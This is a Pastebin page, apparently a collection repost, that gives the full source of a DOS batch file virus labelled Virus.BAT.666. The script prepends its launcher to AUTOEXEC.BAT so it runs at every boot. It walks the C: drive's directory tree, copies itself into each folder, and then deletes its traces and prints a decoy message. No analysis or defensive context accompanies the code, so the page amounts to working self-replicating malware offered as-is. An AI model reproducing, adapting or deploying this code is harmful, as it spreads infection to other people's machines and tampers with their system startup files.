Advertisement
FlyFar

Virus.BAT.666 - Source Code

Jul 8th, 2023
1,095
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 0.65 KB | Cybersecurity | 0 0
  1. @echo off
  2. @set inf=n
  3. @set infect=n
  4. @if %INF%==Y goto scan
  5. @echo @SET INF=Y >a.666
  6. @echo @call %0.bat >>a.666
  7. @echo @echo Batch virus greets You !>>a.666
  8. @TYPE AUTOEXEC.BAT >>A.666
  9. @COPY A.666 AUTOEXEC.BAT >NUL
  10. @SET INF=Y
  11. :scan
  12. @IF %INFECT%==Y GOTO END
  13. @c:
  14. @cd\
  15. @dir %0.bat /s|find /i "Direct" >c:\a.666
  16. @echo exit >>c:\a.666
  17. @echo @copy %%2\%0.bat c:\ >c:\director.bat
  18. @command <c:\a.666 >nul
  19. @c:
  20. @cd\
  21. @dir /ad /s|find /i "Direct" >a.666
  22. @echo exit >>a.666
  23. @echo @if not exist %%2%0.bat copy c:\%0.bat %%2 >c:\Director.bat
  24. @command < a.666 >nul
  25. @del a.666
  26. @del director.bat
  27. @del %0.bat
  28. @SET INFECT=Y
  29. :END
  30. @echo Good command or file name!
Tags: batch virus
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement